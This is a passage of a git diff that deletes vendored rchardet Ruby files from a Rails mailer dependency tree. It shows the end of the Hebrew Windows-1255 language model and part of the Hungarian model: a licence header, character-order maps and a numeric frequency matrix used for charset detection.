-0,2,0,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,
-3,3,3,3,3,3,3,3,3,2,3,3,3,1,2,2,3,3,2,3,2,3,2,2,3,1,2,2,0,2,2,2,
-0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,2,2,3,3,3,3,1,3,2,2,2,
-0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,2,3,2,2,2,1,2,2,0,2,2,2,2,
-0,2,0,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,1,3,2,3,3,2,3,3,2,2,1,2,2,2,2,2,2,
-0,2,1,2,1,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,2,3,2,3,3,2,3,3,3,3,2,3,2,3,3,3,3,3,2,2,2,2,2,2,2,1,
-0,2,0,1,2,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,2,1,2,3,3,3,3,3,3,3,2,3,2,3,2,1,2,3,0,2,1,2,2,
-0,2,1,1,2,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,
-3,3,3,3,3,3,3,3,3,2,3,3,3,3,2,1,3,1,2,2,2,1,2,3,3,1,2,1,2,2,2,2,
-0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,0,2,3,3,3,1,3,3,3,1,2,2,2,2,1,1,2,2,2,2,2,2,
-0,2,0,1,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,2,3,3,3,2,2,3,3,3,2,1,2,3,2,3,2,2,2,2,1,2,1,1,1,2,2,
-0,2,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,
-1,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,2,3,3,2,3,1,2,2,2,2,3,2,3,1,1,2,2,1,2,2,1,1,0,2,2,2,2,
-0,1,0,1,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,
-3,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,2,0,
-0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,1,0,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
-3,2,2,1,2,2,2,2,2,2,2,1,2,2,1,2,2,1,1,1,1,1,1,1,1,2,1,1,0,3,3,3,
-0,3,0,2,2,2,2,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,1,2,2,2,1,1,1,2,0,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,0,2,2,0,0,0,0,0,0,
-0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,3,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,0,2,1,0,
-0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
-0,3,1,1,2,2,2,2,2,1,2,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,0,1,1,1,1,0,
-0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,2,1,1,1,1,2,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,
-0,0,2,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,
-2,1,1,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,1,2,1,2,1,1,1,1,0,0,0,0,
-0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,2,1,2,2,2,2,2,2,2,2,2,2,1,2,1,2,1,1,2,1,1,1,2,1,2,1,2,0,1,0,1,
-0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,3,1,2,2,2,1,2,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,2,1,2,1,1,0,1,0,1,
-0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,1,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2,
-0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,2,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,
-0,1,1,1,2,1,2,2,2,0,2,0,2,0,1,1,2,1,1,1,1,2,1,0,1,1,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,1,0,0,0,0,0,1,0,1,2,2,0,1,0,0,1,1,2,2,1,2,0,2,0,0,0,1,2,0,1,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,2,0,2,1,2,0,2,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,1,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,1,2,2,0,0,1,0,0,0,1,0,0,1,
-1,1,2,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,2,1,
-0,2,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,
-2,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,2,1,1,2,0,1,0,0,0,1,1,0,1,
-1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,0,0,2,1,1,2,0,2,0,0,0,1,1,0,1,
-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,2,2,1,2,1,1,0,1,0,0,0,1,1,0,1,
-2,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,
-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,2,1,1,1,0,2,1,1,0,0,0,2,1,0,1,
-1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,0,2,1,1,0,1,0,0,0,1,1,0,1,
-2,2,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,0,1,2,1,0,2,0,0,0,1,1,0,1,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,
-0,1,0,0,2,0,2,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,
-1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,2,1,1,1,1,1,0,1,0,0,0,0,1,0,1,
-0,1,1,1,2,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,
-]
-
-Win1255HebrewModel = { 
-  'charToOrderMap' =>  Win1255_CharToOrderMap,
-  'precedenceMatrix' =>  HebrewLangModel,
-  'mTypicalPositiveRatio' =>  0.984004,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "windows-1255"
-}
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhungarianmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhungarianmodel.rb
deleted file mode 100755
index 1150595f..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhungarianmodel.rb
+++ /dev/null
@@ -1,226 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-# 255: Control characters that usually does not exist in any text
-# 254: Carriage/Return
-# 253: symbol (punctuation) that does not belong to word
-# 252: 0 - 9
-
-# Character Mapping Table:
-Latin2_HungarianCharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47,
- 46, 71, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253,
-253,  2, 18, 26, 17,  1, 27, 12, 20,  9, 22,  7,  6, 13,  4,  8,
- 23, 67, 10,  5,  3, 21, 19, 65, 62, 16, 11,253,253,253,253,253,
-159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,
-175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,
-191,192,193,194,195,196,197, 75,198,199,200,201,202,203,204,205,
- 79,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,
-221, 51, 81,222, 78,223,224,225,226, 44,227,228,229, 61,230,231,
-232,233,234, 58,235, 66, 59,236,237,238, 60, 69, 63,239,240,241,
- 82, 14, 74,242, 70, 80,243, 72,244, 15, 83, 77, 84, 30, 76, 85,
-245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253,
-]
-
-Win1250HungarianCharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47,
- 46, 72, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253,
-253,  2, 18, 26, 17,  1, 27, 12, 20,  9, 22,  7,  6, 13,  4,  8,
- 23, 67, 10,  5,  3, 21, 19, 65, 62, 16, 11,253,253,253,253,253,
-161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,
-177,178,179,180, 78,181, 69,182,183,184,185,186,187,188,189,190,
-191,192,193,194,195,196,197, 76,198,199,200,201,202,203,204,205,
- 81,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,
-221, 51, 83,222, 80,223,224,225,226, 44,227,228,229, 61,230,231,
-232,233,234, 58,235, 66, 59,236,237,238, 60, 70, 63,239,240,241,
- 84, 14, 75,242, 71, 82,243, 73,244, 15, 85, 79, 86, 30, 77, 87,
-245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253,
-]
-
-# Model Table: 
-# total sequences: 100%
-# first 512 sequences: 94.7368%
-# first 1024 sequences:5.2623%
-# rest  sequences:     0.8894%
-# negative sequences:  0.0009% 
-HungarianLangModel = [
-0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
-3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2,
-3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,
-3,2,1,3,3,3,3,3,2,3,3,3,3,3,1,1,2,3,3,3,3,3,3,3,1,1,3,2,0,1,1,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,1,1,2,3,3,3,1,3,3,3,3,3,1,3,3,2,2,0,3,2,3,
-0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,3,3,2,3,3,2,2,3,2,3,2,0,3,2,2,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,
-3,3,3,3,3,3,2,3,3,3,3,3,2,3,3,3,1,2,3,2,2,3,1,2,3,3,2,2,0,3,3,3,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,3,2,3,3,3,3,2,3,3,3,3,0,2,3,2,
-0,0,0,1,1,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,1,1,1,3,3,2,1,3,2,2,3,2,1,3,2,2,1,0,3,3,1,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,2,2,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,3,2,2,3,1,1,3,2,0,1,1,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,1,3,3,3,3,3,2,2,1,3,3,3,0,1,1,2,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,0,3,2,3,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,1,0,
-3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,1,3,2,2,2,3,1,1,3,3,1,1,0,3,3,2,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,2,3,3,3,3,3,1,2,3,2,2,0,2,2,2,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,2,2,2,3,1,3,3,2,2,1,3,3,3,1,1,3,1,2,3,2,3,2,2,2,1,0,2,2,2,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,
-3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,2,2,3,2,1,0,3,2,0,1,1,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,1,0,3,3,3,3,0,2,3,0,0,2,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,2,3,3,2,2,2,2,3,3,0,1,2,3,2,3,2,2,3,2,1,2,0,2,2,2,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,
-3,3,3,3,3,3,1,2,3,3,3,2,1,2,3,3,2,2,2,3,2,3,3,1,3,3,1,1,0,2,3,2,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,1,2,2,2,2,3,3,3,1,1,1,3,3,1,1,3,1,1,3,2,1,2,3,1,1,0,2,2,2,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,2,1,2,1,1,3,3,1,1,1,1,3,3,1,1,2,2,1,2,1,1,2,2,1,1,0,2,2,1,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,1,1,2,1,1,3,3,1,0,1,1,3,3,2,0,1,1,2,3,1,0,2,2,1,0,0,1,3,2,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,2,1,3,3,3,3,3,1,2,3,2,3,3,2,1,1,3,2,3,2,1,2,2,0,1,2,1,0,0,1,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,3,3,3,2,2,2,2,3,1,2,2,1,1,3,3,0,3,2,1,2,3,2,1,3,3,1,1,0,2,1,3,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,3,3,2,2,2,3,2,3,3,3,2,1,1,3,3,1,1,1,2,2,3,2,3,2,2,2,1,0,2,2,1,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-1,0,0,3,3,3,3,3,0,0,3,3,2,3,0,0,0,2,3,3,1,0,1,2,0,0,1,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,2,3,3,3,3,3,1,2,3,3,2,2,1,1,0,3,3,2,2,1,2,2,1,0,2,2,0,1,1,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,2,2,1,3,1,2,3,3,2,2,1,1,2,2,1,1,1,1,3,2,1,1,1,1,2,1,0,1,2,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
-2,3,3,1,1,1,1,1,3,3,3,0,1,1,3,3,1,1,1,1,1,2,2,0,3,1,1,2,0,2,1,1,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
-3,1,0,1,2,1,2,2,0,1,2,3,1,2,0,0,0,2,1,1,1,1,1,2,0,0,1,1,0,0,0,0,
-1,2,1,2,2,2,1,2,1,2,0,2,0,2,2,1,1,2,1,1,2,1,1,1,0,1,0,0,0,1,1,0,
-1,1,1,2,3,2,3,3,0,1,2,2,3,1,0,1,0,2,1,2,2,0,1,1,0,0,1,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,3,3,2,2,1,0,0,3,2,3,2,0,0,0,1,1,3,0,0,1,1,0,0,2,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,1,2,2,3,3,1,0,1,3,2,3,1,1,1,0,1,1,1,1,1,3,1,0,0,2,2,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,1,1,2,2,2,1,0,1,2,3,3,2,0,0,0,2,1,1,1,2,1,1,1,0,1,1,1,0,0,0,
-1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,2,1,1,1,1,1,1,0,1,1,1,0,0,1,1,
-3,2,2,1,0,0,1,1,2,2,0,3,0,1,2,1,1,0,0,1,1,1,0,1,1,1,1,0,2,1,1,1,
-2,2,1,1,1,2,1,2,1,1,1,1,1,1,1,2,1,1,1,2,3,1,1,1,1,1,1,1,1,1,0,1,
-2,3,3,0,1,0,0,0,3,3,1,0,0,1,2,2,1,0,0,0,0,2,0,0,1,1,1,0,2,1,1,1,
-2,1,1,1,1,1,1,2,1,1,0,1,1,0,1,1,1,0,1,2,1,1,0,1,1,1,1,1,1,1,0,1,
-2,3,3,0,1,0,0,0,2,2,0,0,0,0,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,1,0,
-2,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1,
-3,2,2,0,1,0,1,0,2,3,2,0,0,1,2,2,1,0,0,1,1,1,0,0,2,1,0,1,2,2,1,1,
-2,1,1,1,1,1,1,2,1,1,1,1,1,1,0,2,1,0,1,1,0,1,1,1,0,1,1,2,1,1,0,1,
-2,2,2,0,0,1,0,0,2,2,1,1,0,0,2,1,1,0,0,0,1,2,0,0,2,1,0,0,2,1,1,1,
-2,1,1,1,1,2,1,2,1,1,1,2,2,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1,
-1,2,3,0,0,0,1,0,3,2,1,0,0,1,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,2,1,
-1,1,0,0,0,1,0,1,1,1,1,1,2,0,0,1,0,0,0,2,0,0,1,1,1,1,1,1,1,1,0,1,
-3,0,0,2,1,2,2,1,0,0,2,1,2,2,0,0,0,2,1,1,1,0,1,1,0,0,1,1,2,0,0,0,
-1,2,1,2,2,1,1,2,1,2,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,0,0,1,
-1,3,2,0,0,0,1,0,2,2,2,0,0,0,2,2,1,0,0,0,0,3,1,1,1,1,0,0,2,1,1,1,
-2,1,0,1,1,1,0,1,1,1,1,1,1,1,0,2,1,0,0,1,0,1,1,0,1,1,1,1,1,1,0,1,
-2,3,2,0,0,0,1,0,2,2,0,0,0,0,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,1,0,
-2,1,1,1,1,2,1,2,1,2,0,1,1,1,0,2,1,1,1,2,1,1,1,1,0,1,1,1,1,1,0,1,
-3,1,1,2,2,2,3,2,1,1,2,2,1,1,0,1,0,2,2,1,1,1,1,1,0,0,1,1,0,1,1,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,2,2,0,0,0,0,0,2,2,0,0,0,0,2,2,1,0,0,0,1,1,0,0,1,2,0,0,2,1,1,1,
-2,2,1,1,1,2,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,1,1,0,1,2,1,1,1,0,1,
-1,0,0,1,2,3,2,1,0,0,2,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,
